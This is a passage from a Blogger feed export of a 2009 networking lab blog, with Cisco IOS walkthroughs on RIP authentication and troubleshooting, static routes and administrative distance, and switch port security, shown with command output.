class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51); "&gt;passive-interface fastethernet 1/0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Configuring Authentication&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below I am going to configure authentication on my RIP updates.  What I noticed in my lab was as soon as I set this up on a router the remote routers lost all routes until they too were configured for authentication.  So it seems that this is an all or nothing thing.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below I enter global config mode, create a keychain called homelab, a key, and I give the key a password of cisco.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;key chain homelab&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-keychain)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;key 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-keychain-key)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;key-string cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now  I enter the interface configuration and, tell it what key chain I'm using and tell it to use MD5.  This has to be done on each interface that RIP will be sent or received on. Also, each neighboring router needs to use the same key (cisco) as set up in the steps above.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;interface fastEthernet 0/0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip rip authentication key-chain homelab&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip rip authentication mode md5&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Running a show ip protocols lists what the router knows about the authentication you have configured.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip protocols&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Routing Protocol is "rip"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Outgoing update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Incoming update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Sending updates every 30 seconds, next due in 3 seconds&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Invalid after 180 seconds, hold down 180, flushed after 240&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Redistributing: rip&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Default version control: send version 2, receive version 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Interface             Send  Recv  Triggered RIP  Key-chain&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    FastEthernet0/0       2     2                    homelab&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    FastEthernet1/0       2     2                    homelab&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Automatic network summarization is in effect&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Maximum path: 4&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing for Networks:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    172.16.0.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.1.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.2.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing Information Sources:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Gateway         Distance      Last Update&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.2.2          120      00:08:39&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.1.1          120      00:00:03&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Distance: (default is 120)&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Troubleshooting RIP&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The commands that I have found useful in helping to troubleshoot RIP are:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip protocols&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Routing Protocol is "rip"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Outgoing update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Incoming update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Sending updates every 30 seconds, next due in 25 seconds&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Invalid after 180 seconds, hold down 180, flushed after 240&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Redistributing: rip&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Default version control: send version 2, receive version 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Interface             Send  Recv  Triggered RIP  Key-chain&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    FastEthernet0/0       2     2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Loopback0             2     2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Automatic network summarization is in effect&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Maximum path: 4&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing for Networks:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    172.16.0.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.1.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing Information Sources:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Gateway         Distance      Last Update&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.1.2          120      00:00:20&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Distance: (default is 120)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the output above there are a bunch of timers (Update, Invalid, Holddown and Flush).  These need to be the same on each router.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip rip database&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;172.16.0.0/16    auto-summary&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;172.16.0.0/16&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    [1] via 192.168.1.1, 00:00:00, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;192.168.1.0/24    auto-summary&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;192.168.1.0/24    directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;192.168.2.0/24    auto-summary&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;192.168.2.0/24    directly connected, FastEthernet1/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R    172.16.0.0/16 [120/1] via 192.168.1.1, 00:00:16, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       E1 - OSPF external type 1, E2 - OSPF external type 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       ia - IS-IS inter area, * - candidate default, U - per-user static route&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       o - ODR, P - periodic downloaded static route&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R    172.16.0.0/16 [120/1] via 192.168.1.1, 00:00:02, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.1.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet1/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;debug ip rip events&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;RIP event debugging is on&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R2#&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;01:30:43: RIP: sending v2 update to 224.0.0.9 via FastEthernet0/0 (192.168.1.2)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;01:30:43: RIP: Update contains 1 routes&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;01:30:43: RIP: Update queued&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;01:30:43: RIP: Update sent via FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The command above will turn on debugging for RIP updates.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay.  That's about all I have on RIP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8583606263174480526?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8583606263174480526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8583606263174480526&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8583606263174480526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8583606263174480526'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/ip-routing-rip.html' title='IP Routing - RIP'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SrVOF4XbVYI/AAAAAAAABPo/3DAhfxxZaQw/s72-c/Routing+lab+diagram.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4303643608249477122</id><published>2009-09-18T23:30:00.004+01:00</published><updated>2009-09-18T23:41:17.489+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Routing'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>IP Routing - Static Routes</title><content type='html'>&lt;div&gt;In this post i'm going to detail what static routes are and how to set them up.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A packet needs to know howto get from one network to another.  To achieve this you can either use static or dynamic routes.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One of the benifits of using static routes is it gives you complete control over where the packets go which is great from a security point of view.  The downside is that as your network grows, so does the administrative overhead.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below I'm just going to detail how to set up routing between 2 networks.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrQLbs0d8NI/AAAAAAAABPg/fyyND2dgEjg/s1600-h/Routing+lab+diagram.png"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrQLbs0d8NI/AAAAAAAABPg/fyyND2dgEjg/s320/Routing+lab+diagram.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5382940025130184914" style="cursor: pointer; width: 320px; height: 99px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 1 (R1)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.1/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 2 (R2)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.2/24&lt;/div&gt;&lt;div&gt;FastEthernet 0/1 - 192.168.2.1/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 3 (R3)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.2.2/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Looking at my routing table on R3 I can see that I just have the connected network of 192.168.2.0&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll set up a new static route to the network 192.168.1.0 .  I use the IP ROUTE command, list the network I want to get to and either the interface i'll be going out of or the next hop address.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Router3(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip route 192.168.1.0 255.255.255.0 192.168.2.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Router3(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S    192.168.1.0/24 [1/0] via 192.168.2.1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll talk here a bit about administrative distances.  Administrative distances are importantant in routing as each route will have one and that will be the router that the router places in the routing table.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As shown above we have 2 routes.  One a Static (preceeded with a S) and the other a directly connected route (preceeded with a C)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;By default, connected routes will have an administrative distance of 0 and static routes will be 1.&lt;/div&gt;&lt;div&gt;I could override the defaults by adding an administrative distance at the end of the command.  This would be useful in creating static routes with values that are higher than those used by dynamic routing protocols.  Then if a dynamic routing protocol is implimeted is will be entered into the routing table and used instead of the static route.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now I try to ping the remote network and as long as that network knows how to get back to me my ping succeeds.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ping 192.168.1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Type escape sequence to abort.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is 2 seconds:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!!!!!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 60/77/140 ms&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Another option that can be appended to the end of the static route is PERMANENT.  If this is used the route will stay in the routing table no matter what.  Below is an example:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Router3(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip route 192.168.1.0 255.255.255.0 fastethernet 0/0 permanent&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Router3(config)#&lt;span class="Apple-style-span"  style="color:#33CC00;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here endeth my static routing post!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4303643608249477122?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4303643608249477122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4303643608249477122&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4303643608249477122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4303643608249477122'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/ip-routing-static-routes.html' title='IP Routing - Static Routes'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SrQLbs0d8NI/AAAAAAAABPg/fyyND2dgEjg/s72-c/Routing+lab+diagram.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5355775071560751214</id><published>2009-09-17T20:19:00.006+01:00</published><updated>2009-09-17T20:59:20.427+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port-Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Switch Port Security</title><content type='html'>I've been having loads of fun playing with port security today and in this post I'll share that fun with you.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Port Security is a feature thats on all Cisco switches and it allows you to control what devices access which ports on a switch.  The way Port Security works is it ties MAC Addresses (this is layer 2 remember) to switch ports. These MAC addresses can either be assigned statically or dynamically by the switch taking the first device connected and remembering it's address (this is called making the port sticky). Also the port can be configured to remember more than one address.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Depending on your appetite for security you can set ports to either do nothing, log an event or shutdown when an unauthorised device is connected to a port.  As I'll describe below, using the "Protect" feature you can also restrict which ports can talk to each other.  This feature could be useful in malware containment.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll be selecting a range of ports on my switch (9 - 16) and setting them up to be access ports and to be protected, this means they will not be able to talk to each other.  Protected ports can only talk to unprotected ports (which would be my server and router).  I'll also configure the ports to shutdown if they are accessed by any other devices other than the first device connected to them.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;interface range fastEthernet 0/9 - 16&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;switchport mode access&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;switchport protected&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;switchport port-security violation shutdown&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;switchport port-security mac-address sticky&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;switchport port-security&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Note, although setting ports as protected can be useful in helping stop the spread of malware, it can also be a pain in the arse for remote administration if not planned properly.  Another thing that is a pain in the arse is waiting for interfaces to come back up after plugging devices in and out which is due to spanning tree protocol.  To save me about 50 seconds of waiting round i'll enable portfast so the interfaces come up straight away.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;spanning-tree portfast&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if-range)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As I've set up port security to shutdown ports if unauthorised access occures I'll configure the switch to automatically re-enable the ports after 10 minutes.  This will save me having to manually issue the no shutdown command on the ports.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;errdisable recovery cause psecure-violation&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;errdisable recovery interval 600&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After configuring the switch I look at the running-config and I see the MAC address of the host connected to port 9 is shown.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;interface FastEthernet0/9&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; switchport mode access&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; switchport protected&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; switchport port-security&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; switchport port-security mac-address sticky&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; switchport port-security mac-address sticky 0018.8bce.5855&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; no ip address&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; spanning-tree portfast&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay set lets put it into pactice.  I check that I cant communicate between hosts that have protected ports. My pings between the hosts on protected ports fail, and my pings to my router are fine.  So far so good!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now I swap over network cables of 2 hosts to make sure that the ports go into shutdown.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show port-security interface fastethernet 0/9&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Port Security : Enabled&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Port status : Err-Disabled&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Violation mode : Shutdown&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Maximum MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Total MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Configured MAC Addresses : 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sticky MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Aging time : 0 mins&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Aging type : Absolute&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;SecureStatic address aging : Disabled&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Security Violation count : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After 10 mins the port gets re-enabled. However, unless the device that was origionally connected and has it's MAC address associated with the port is re-connected the port goes stright back into shutdown and clocks up another violation.  Whats more, that device cannot be 